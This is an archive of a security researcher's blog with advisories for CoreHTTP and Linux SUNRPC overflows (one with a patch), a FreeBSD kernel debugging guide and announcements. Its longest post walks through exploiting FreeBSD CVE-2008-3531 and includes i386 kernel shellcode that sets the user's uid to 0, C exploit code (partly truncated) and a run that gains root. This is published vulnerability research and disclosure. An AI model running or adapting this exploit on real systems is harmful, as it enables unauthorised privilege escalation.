Older blog entries for argp (starting at number 30)

CoreHTTP web server off-by-one buffer overflow vulnerability

census ID: census-2009-0003
CVE ID: CVE-2009-3586
Affected Products: CoreHTTP web server versions ≤
Class: Improper Input Validation (CWE-20), Failure to Constrain Operations within the Bounds of a Memory Buffer (CWE-119)
Remote: Yes
Discovered by: Patroklos Argyroudis

We have discovered a remotely exploitable “improper input validation” vulnerability in the CoreHTTP web server that leads to an off-by-one stack buffer overflow. The vulnerability can lead to denial of service attacks against the web server and potentially to the remote execution of arbitrary code with the privileges of the user running the server.


CoreHTTP is a minimalist web server focusing on speed and size. More information about its features can be found here.

CoreHTTP (up to and including version employs an insufficient input validation method for handling HTTP requests with invalid method names and URIs. Specifically, the vulnerability is an off-by-one buffer overflow in the sscanf() call at file src/http.c line numbers 45 and 46:

  45:    sscanf(parentsprock->buffer,
46:        "%" PATHSIZE_S "[A-Za-z] %" PATHSIZE_S "s%*[ \t\n]", req, url);

The buffers req and url are declared to be of size 256 bytes (PATHSIZE) and the sscanf() call writes 256 bytes (PATHSIZE_S) to these buffers without NULL terminating them.

Note that this is not vulnerability CVE-2007-4060 in which the same sscanf() call contained no bounds check at all.

This vulnerability can lead to denial of service attacks against the CoreHTTP web server and potentially to the remote execution of arbitrary code with the privileges of the user running the server. We have developed a proof-of-concept exploit to demonstrate the vulnerability.

To address the problem we propose the following unofficial patch (download it from here), since CoreHTTP’s author has not released an official fix yet:

  --- corehttp/src/common.h.orig  2009-12-01 09:29:18.000000000 +0200
+++ corehttp/src/common.h       2009-12-01 09:31:47.000000000 +0200
@@ -36,7 +36,7 @@
 #define BUFSIZE                2048
 #define BUFSIZE_S      "2048"
 #define PATHSIZE       256
-#define PATHSIZE_S     "256"
+#define PATHSIZE_S     "255"
 #define        SETSIZE         16


Syndicated 2009-12-02 09:47:13 (Updated 2009-12-02 18:31:43) from www.census-labs.com blog posts by author

1 Dec 2009 (updated 2 Dec 2009 at 11:22 UTC) »

Linux kernel SUNRPC off-by-two buffer overflow

census ID: census-2009-0005
Affected Products: Linux kernel versions from 2.6.32 to 2.6.32-rc7.
Class: Off-by-two stack buffer overflow.
Discovered by: Patroklos Argyroudis

We have found an off-by-two stack buffer overflow in the Linux kernel SUNRPC implementation. Linux kernel versions from 2.6.32 to 2.6.32-rc7 are affected.


There is an off-by-two stack buffer overflow in function rpc_uaddr2sockaddr() of file net/sunrpc/addr.c in the Linux kernel SUNRPC implementation. It was introduced in commit a02d692611348f11ee1bc37431a883c3ff2de23e.

The function rpc_uaddr2sockaddr() that is used to convert a universal address to a socket address takes as an argument the size_t variable uaddr_len (the length of the universal address string). The stack buffer buf is declared in line 315 to be of size RPCBIND_MAXUADDRLEN. If the passed argument uaddr_len is equal to RPCBIND_MAXUADDRLEN then the condition of line 319 is false and then at lines 324 and 325 there are two out-of-bounds assignments:

  312: size_t rpc_uaddr2sockaddr(const char *uaddr, const size_t uaddr_len,
313:                           struct sockaddr *sap, const size_t salen)
314: {
315:        char *c, buf[RPCBIND_MAXUADDRLEN];
319:        if (uaddr_len > sizeof(buf))
320:            return 0;
324:        buf[uaddr_len] = '\n';
325:        buf[uaddr_len + 1] = '\0';
363: }
364: EXPORT_SYMBOL_GPL(rpc_uaddr2sockaddr);

Since the function rpc_uaddr2sockaddr() is declared as an EXPORT_SYMBOL_GPL function it can be used by kernel modules and potentially be reachable by user input. The bug was reported and fixed in 2.6.32-rc8 (commit 1e360a60b24ad8f8685af66fa6de10ce46693a4b).

Syndicated 2009-12-01 22:35:24 (Updated 2009-12-02 12:36:20) from www.census-labs.com blog posts by author

26 Aug 2009 (updated 27 Aug 2009 at 06:22 UTC) »

flickr is the new bugtraq

I decided to start disclosing bugs on flickr.

21 Aug 2009 (updated 21 Aug 2009 at 17:09 UTC) »

ld-linuxv.so.1 rootkit

Yesterday I helped my friend kargig to analyse a rootkit he has recovered from a compromised Linux system. You can find the complete write-up at his blog.

Syndicated 2009-08-21 14:14:51 (Updated 2009-08-21 20:00:39) from www.census-labs.com blog posts by author

2 Jul 2009 (updated 21 Aug 2009 at 17:09 UTC) »

CVE-2008-3531: FreeBSD kernel stack overflow exploit development

About four months ago I developed a reliable exploit for vulnerability CVE-2008-3531, which is also addressed in the advisory FreeBSD-SA-08:08.nmount. In this post I will use this vulnerability to provide an overview of the development process for FreeBSD kernel stack exploits.

CVE-2008-3531 is a kernel stack overflow vulnerability that affects FreeBSD versions 7.0-RELEASE and 7.0-STABLE, but not 7.1-RELEASE nor 7.1-STABLE as the CVE entry seems to suggest.

The bug is in function vfs_filteropt() at src/sys/kern/vfs_mount.c:

  1800:    int
1801:    vfs_filteropt(struct vfsoptlist *opts, const char **legal)
1802:    {
1803:        struct vfsopt *opt;
1804:        char errmsg[255];
1805:        const char **t, *p, *q;
1806:        int ret = 0;
1808:        TAILQ_FOREACH(opt, opts, link) {
1809:                p = opt->name;
1810:                q = NULL;
1811:                if (p[0] == 'n' && p[1] == 'o')
1812:                        q = p + 2;
1813:                for(t = global_opts; *t != NULL; t++) {
1814:                        if (strcmp(*t, p) == 0)
1815:                                break;
1816:                        if (q != NULL) {
1817:                                if (strcmp(*t, q) == 0)
1818:                                        break;
1819:                        }
1820:                }
1821:                if (*t != NULL)
1822:                        continue;
1823:                for(t = legal; *t != NULL; t++) {
1824:                        if (strcmp(*t, p) == 0)
1825:                                break;
1826:                        if (q != NULL) {
1827:                                if (strcmp(*t, q) == 0)
1828:                                        break;
1829:                        }
1830:                }
1831:                if (*t != NULL)
1832:                        continue;
1833:                sprintf(errmsg, "mount option  is unknown", p);
1834:                printf("%s\n", errmsg);
1835:                ret = EINVAL;
1836:        }
1837:        if (ret != 0) {
1838:                TAILQ_FOREACH(opt, opts, link) {
1839:                        if (strcmp(opt->name, "errmsg") == 0) {
1840:                              strncpy((char *)opt->value, errmsg,
1841:                        }
1842:                }
1843:        }
1844:        return (ret);
1845:    }

The first step of the exploit development process involves identifying the vulnerability’s conditions and assessing its impact.

In line 1833 sprintf() is used to write an error message to a locally declared static buffer, namely errmsg declared in line 1804 with a size of 255 bytes. The variable p used in sprintf() is a pointer to the mount option’s name. Conceptually a mount option is a tuple of the form (name, value). The vulnerable sprintf() call can be reached from userland when p‘s (i.e. the mount option’s name) corresponding value is invalid, but not NULL (due to the checks performed in the first TAILQ_FOREACH loop). For example, the tuple (“AAAA”, “BBBB”) satisfies this condition; the mount option’s value is the string “BBBB” which is invalid and not NULL therefore p would point to the string “AAAA”. Both the mount option’s name (p) and the mount option’s value are user-controlled. This allows the overflow of the errmsg buffer by supplying a mount option name of arbitrary length and as we will see below, less importantly in this case, arbitrary content. Since errmsg is on a kernel stack, we can use the overflow to corrupt the current stack frame’s saved return address with the ultimate goal of diverting the kernel’s execution flow to code of our own choosing.

Now that we have explored the conditions and concluded that we can indeed achieve arbitrary code execution we have to explore the ways we can trigger the vulnerability. There are many possible execution paths to reach vfs_filteropt() from userland. After browsing FreeBSD’s file system stacking source code for a couple of minutes I decided to use the following:

  nmount() -> vfs_donmount() -> msdosfs_mount() -> vfs_filteropt()

By default on FreeBSD the nmount(2) system call can only be called by root. In order for it to be enabled for unprivileged users the sysctl(8) variable vfs.usermount must be set to a non-zero value.

At this point we know that the vulnerability can potentially lead to arbitrary code execution and how to trigger it. The next step is to find a place to store our arbitrary code and divert the kernel’s execution flow to that memory address. Due to the structure of the format string used in the sprintf() call, we do not have direct control of the value that overwrites the saved return address in vfs_filteropt()‘s kernel stack frame.

However, indirect control is more than enough to achieve arbitrary code execution. When p points to a string of 248 ‘A’s followed by NULL (i.e. 248 * ‘A’ + ‘\0’) the saved return address is overwritten with the value 0x6e776f, that is the “nwo” of “unknown” in the sprintf()‘s format string. Using the exploitation methodology of kernel NULL pointer dereference vulnerabilities, we can use mmap(2) to map memory at the page boundary 0x6e7000. Then we can place our arbitrary kernel shellcode 0x76f bytes after that. Therefore, when the corrupted saved return address with the value 0x6e776f is restored into the EIP register the kernel will execute our instructions that have been mapped to this address.

The next step in the exploit development process is to write these instructions. Specifically, our kernel shellcode should:

  • locate the credentials of the user that triggers the vulnerability and escalate his privileges,
  • ensure kernel continuation. In other words, the system must be kept in a running condition and stable after exploitation.
User credentials specifying the process owner’s privileges in FreeBSD are stored in a structure of type ucred defined at src/sys/ucred.h:
  45:  struct ucred {
46:      u_int   cr_ref;                 /* reference count */
47:  #define cr_startcopy cr_uid
48:      uid_t   cr_uid;                 /* effective user id */
49:      uid_t   cr_ruid;                /* real user id */
50:      uid_t   cr_svuid;               /* saved user id */
51:      short   cr_ngroups;             /* number of groups */
52:      gid_t   cr_groups[NGROUPS];     /* groups */
53:      gid_t   cr_rgid;                /* real group id */
54:      gid_t   cr_svgid;               /* saved group id */

A pointer to the ucred structure exists in a structure of type proc defined at src/sys/proc.h:

  484:  struct proc {
485:   LIST_ENTRY(proc) p_list;           /* (d) List of all processes. */
486:   TAILQ_HEAD(, thread) p_threads;    /* (j) all threads. */
487:   TAILQ_HEAD(, kse_upcall) p_upcalls; /* (j) All upcalls in the proc. */
488:   struct mtx      p_slock;           /* process spin lock */
489:   struct ucred    *p_ucred;          /* (c) Process owner's identity. */

The address of the proc structure can be dynamically located at runtime from unprivileged processes in a number of ways:

  • The sysctl(3) kern.proc.pid kernel interface and the kinfo_proc structure.
  • The allproc symbol that the FreeBSD kernel exports by default.
  • The curthread pointer from the pcpu structure (segment FS in kernel context points to it).
You can find more information about the first alternative in the talk I gave on FreeBSD kernel stack overflows at the University of Piraeus Software Libre Society, Event #16: Computer Security (unfortunately the slides from the talk are only available in Greek currently). The second alternative will be the subject of a future post. In the developed exploit I will use the third alternative.

The other task that our shellcode should perform is to maintain the stability of the system by ensuring the kernel’s continuation. One way to approach this would be to port Silvio Cesare’s “iret” return to userland approach (presented at his “Open source kernel auditing and exploitation” Black Hat talk) to FreeBSD. Although a full investigation of Silvio’s “iret” technique on FreeBSD would be very interesting, it is beyond the scope of this post.

In order to successfully return to userland from the kernel shellcode I will use another approach. Remember that the execution path I decided to take is nmount() -> vfs_donmount() -> msdosfs_mount() -> vfs_filteropt(). After the shellcode has performed privilege escalation it could return to where vfs_filteropt() was supposed to return, that is in msdosfs_mount(). However that is not possible since msdosfs_mount()‘s saved registers have been corrupted when vfs_filteropt()‘s stack frame was smashed by the overflow. The values of these saved registers cannot be restored, consequently there is no safe way to return to msdosfs_mount() after privilege escalation. The solution I have implemented in the exploit bypasses msdosfs_mount() completely and returns to the pre-previous from vfs_filteropt() function, namely vfs_donmount(). The saved registers’ values of vfs_donmount() are uncorrupted in msdosfs_mount()‘s stack frame. To make this more clear, consider the following pseudocode that is based on the relevant deadlisting part:

  /* this function's saved registers' values are uncorrupted */

    /* stack cleanup, restore saved registers */
    addl    $0xe8, %esp
    popl    %ebx
    popl    %esi
    popl    %edi
    popl    %ebp

Taking into consideration the above analysis, the complete kernel shellcode for the developed exploit is the following (you can download it from here):

  .global _start

movl    %fs:0, %eax         # get curthread
movl    0x4(%eax), %eax     # get proc from curthread
movl    0x30(%eax), %eax    # get ucred from proc
xorl    %ecx, %ecx          # ecx = 0
movl    %ecx, 0x4(%eax)     # ucred.uid = 0
movl    %ecx, 0x8(%eax)     # ucred.ruid = 0

# return to the pre-previous function, i.e. vfs_donmount()
addl    $0xe8, %esp
popl    %ebx
popl    %esi
popl    %edi
popl    %ebp

Now we have a way to safely return from kernel to userland and ensure the continuation of the exploited system. The complete exploit is (you can download it from here):

  #include <sys/param.h>
#include <sys/mount.h>
#include <sys/uio.h>
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sysexits.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>

#define BUFSIZE     249

#define PAGESIZE    4096
#define ADDR        0x6e7000
#define OFFSET      1903

#define FSNAME      "msdosfs"
#define DIRPATH     "/tmp/msdosfs"

unsigned char kernelcode[] =

    void *vptr;
    struct iovec iov[6];

    vptr = mmap((void *)ADDR, PAGESIZE, PROT_READ | PROT_WRITE,
            MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);

    if(vptr == MAP_FAILED)

    vptr += OFFSET;
    printf("[*] vptr = 0x%.8x\n", (unsigned int)vptr);

    memcpy(vptr, kernelcode, (sizeof(kernelcode) — 1));

    mkdir(DIRPATH, 0700);

    iov[0].iov_base = "fstype";
    iov[0].iov_len = strlen(iov[0].iov_base) + 1;
    iov[1].iov_base = FSNAME;
    iov[1].iov_len = strlen(iov[1].iov_base) + 1;
    iov[2].iov_base = "fspath";
    iov[2].iov_len = strlen(iov[2].iov_base) + 1;
    iov[3].iov_base = DIRPATH;
    iov[3].iov_len = strlen(iov[3].iov_base) + 1;

    iov[4].iov_base = calloc(BUFSIZE, sizeof(char));

    if(iov[4].iov_base == NULL)

    memset(iov[4].iov_base, 0x41, (BUFSIZE — 1));
    iov[4].iov_len = BUFSIZE;

    iov[5].iov_base = "BBBB";
    iov[5].iov_len = strlen(iov[5].iov_base) + 1;

    printf("[*] calling nmount()\n");

    if(nmount(iov, 6, 0) 

Finally, a sample run of the exploit:

  [argp@leon ~]$ uname -rsi
[argp@leon ~]$ sysctl vfs.usermount
vfs.usermount: 1
[argp@leon ~]$ id
uid=1001(argp) gid=1001(argp) groups=1001(argp)
[argp@leon ~]$ gcc -Wall cve-2008-3531.c -o cve-2008-3531
[argp@leon ~]$ ./cve-2008-3531
[*] vptr = 0x006e776f
[*] calling nmount()
nmount: Unknown error: -1036235776
[argp@leon ~]$ id
uid=0(root) gid=0(wheel) egid=1001(argp) groups=1001(argp)

And this concludes my post. I hope you enjoyed reading this as much as I enjoyed writing it.

Syndicated 2009-07-02 17:19:56 (Updated 2009-08-21 20:00:29) from www.census-labs.com blog posts by author

2 Jul 2009 (updated 21 Aug 2009 at 17:09 UTC) »

FreeBSD kernel stack overflows

Last May (2008/05/30) I presented my research on FreeBSD kernel stack overflows at the University of Piraeus Software Libre Society, Event #16: Computer Security. The slides from the talk are now available in our research section.

In the talk I explored in detail the process of exploiting kernel stack overflows in the 7.0 production release of the FreeBSD operating system. There were extensive examples and live experimentation, all of which are unfortunately not reflected in the supporting slides. The main contribution of the study is the development of a kernel exploitation algorithm and the presentation of comprehensive i386 kernel shellcode. Although the focus was on the then most current production release of FreeBSD (7.0), the presented algorithm and methodologies are applicable to both the latest stable (7.1) and current (8.0) FreeBSD versions.

Syndicated 2009-02-20 13:40:04 (Updated 2009-08-21 19:59:36) from www.census-labs.com blog posts by author

2 Jul 2009 (updated 21 Aug 2009 at 17:09 UTC) »

FreeBSD kernel debugging

The FreeBSD kernel can be debugged with the ddb(4) interactive kernel debugger. Although the latest production release of FreeBSD (7.1 at the time of this writing) adds some very useful features, ddb is still lacking the flexibility of gdb.

The FreeBSD developer’s handbook has a section on kernel debugging using remote gdb, but it is not directly applicable to VMware-based installations. The solution is to use VMware’s feature of creating virtual serial ports as named pipes to emulate a serial connection between two FreeBSD virtual machines.

The first FreeBSD virtual machine, let’s call it the target host to follow the handbook’s terminology, is the machine that the experimental kernel code runs on. The second, the debugging host, is the one that will run gdb and connect over the virtual serial connection to the target host. The target host’s kernel needs to be compiled with the following options:

  makeoptions DEBUG=-g
options GDB
options DDB
options KDB

Furthermore, the serial port needs to be defined in the device flags in the /boot/device.hints file of the target host by setting the 0x80 bit, and the 0x10 bit for specifying that the kernel gdb backend is to be accessed via remote debugging over this port:


Also, edit the target host’s /etc/sysctl.conf file to include the following self-explanatory kernel parameters:


After the compilation and installation of the new kernel on the target host, the /usr/obj/usr/src/sys/TARGET_HOST directory (assuming you have named the new kernel TARGET_HOST) needs to be copied to the debugging host (for example with scp -r).

For the following steps both virtual machines need to be turned off. In VMware go to the tab of the target host, click Edit virtual machine settings->Add->Serial Port->Output to named pipe. Enter /tmp/com_1 (or whatever you want) as the named pipe, select This end is the server and The other end is a virtual machine. Then perform the same steps on the debugging host’s virtual machine, enter the same named pipe, but select This end is the client in this case. The /tmp/com_1 named pipe on the machine that runs VMware (Linux in our case) will be used as a virtual serial connection between the two FreeBSD guests.

Now power on the target host normally, cause a kernel panic or start the kernel debugger manually, and type gdb and then s:

  [root@target_host]# sysctl debug.kdb.enter=1
KDB: enter: sysctl debug.kdb.enter
[thread pid 578 tid 100063 ]
Stopped at kdb_enter+0x2b: nop
db> gdb
Step to enter the remote GDB backend.
db> s

On the debugging host you need to find the device that corresponds to the virtual serial port you defined in VMware. On our setup it is /dev/cuad0. Then start a kgdb remote debugging session in the /usr/obj/usr/src/sys/TARGET_HOST directory, passing as arguments the serial port device and the kernel to be debugged:

  [root@debugging_host ~]# cd /usr/obj/usr/src/sys/TARGET_HOST
[root@debugging_host /usr/obj/usr/src/sys/TARGET_HOST]# kgdb -r /dev/cuad0 \
GNU gdb 6.1.1 [FreeBSD]
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-marcel-freebsd".
Switching to remote protocol
kdb_enter (msg=0x23 <Address 0x23 out of bounds>) at
270 }

Unread portion of the kernel message buffer:
KDB: enter: sysctl debug.kdb.enter

#0  kdb_enter (msg=0x23 <Address 0x23 out of bounds>) at
270 }
(kgdb) bt
#0  kdb_enter (msg=0x23 <Address 0x23 out of bounds>) at
#1  0xc0657710 in kdb_sysctl_enter (oidp=0xc08d3fa0, arg1=0x0, arg2=0,
 req=0xcca54c04) at /usr/src/sys/kern/subr_kdb.c:175
#2  0xc0646f2b in sysctl_root (oidp=0x0, arg1=0x0, arg2=0, req=0xcca54c04) at
#3  0xc0647128 in userland_sysctl (td=0x23, name=0xcca54c74, namelen=3,
 old=0xcca54c04, oldlenp=0x0, inkernel=0, new=0xbfbfe428, newlen=35,
 retval=0xcca54c70, flags=35) at /usr/src/sys/kern/kern_sysctl.c:1347
#4  0xc0646fcb in __sysctl (td=0xc164d180, uap=0xcca54d04) at
#5  0xc0811dcf in syscall (frame=
 {tf_fs = 59, tf_es = 59, tf_ds = 59, tf_edi = 3, tf_esi = 0,
 tf_ebp = -1077943368, tf_isp = -861581980, tf_ebx = 672367844,
 tf_edx = 0, tf_ecx = -1077941184, tf_eax = 202, tf_trapno = 12,
 tf_err = 2, tf_eip = 671840819, tf_cs = 51, tf_eflags = 658,
 tf_esp = -1077943428, tf_ss = 59}) at /usr/src/sys/i386/i386/trap.c:976
#6  0xc08007bf in Xint0x80_syscall () at /usr/src/sys/i386/i386/exception.s:200
#7  0x00000033 in ?? ()
Previous frame inner to this frame (corrupt stack?)

That’s it. Now let’s do some debugging.

Syndicated 2009-01-19 18:19:57 (Updated 2009-08-21 19:59:00) from www.census-labs.com blog posts by author

exploiting the FreeBSD kernel memory allocator

The new Phrack issue is out at last ;)

My contribution to Phrack issue #66 is an article on exploiting FreeBSD's kernel memory allocator, or UMA - the universal memory allocator. The initial inspiration to work on this subject came to me from signedness.org challenge #3 by karl, therefore I felt it was the right thing to do to add karl as a co-author.

Issue #66 contains in total three articles by Greek authors, Exploiting DLmalloc frees in 2009 by huku and Exploiting TCP Persist Timer Infiniteness by ithilgore in addition to mine. And that's just amazing!

5 May 2009 (updated 5 May 2009 at 06:49 UTC) »




31 Dec 2008 (updated 1 Jan 2009 at 10:52 UTC) »


I have updated my last.fm irssi script:

lastfm.pl v0.3

21 older entries...

New Advogato Features

New HTML Parser: The long-awaited libxml2 based HTML parser code is live. It needs further work but already handles most markup better than the original parser.

Keep up with the latest Advogato features by reading the Advogato status blog.

If you're a C programmer with some spare time, take a look at the mod_virgule project page and help us with one of the tasks on the ToDo list!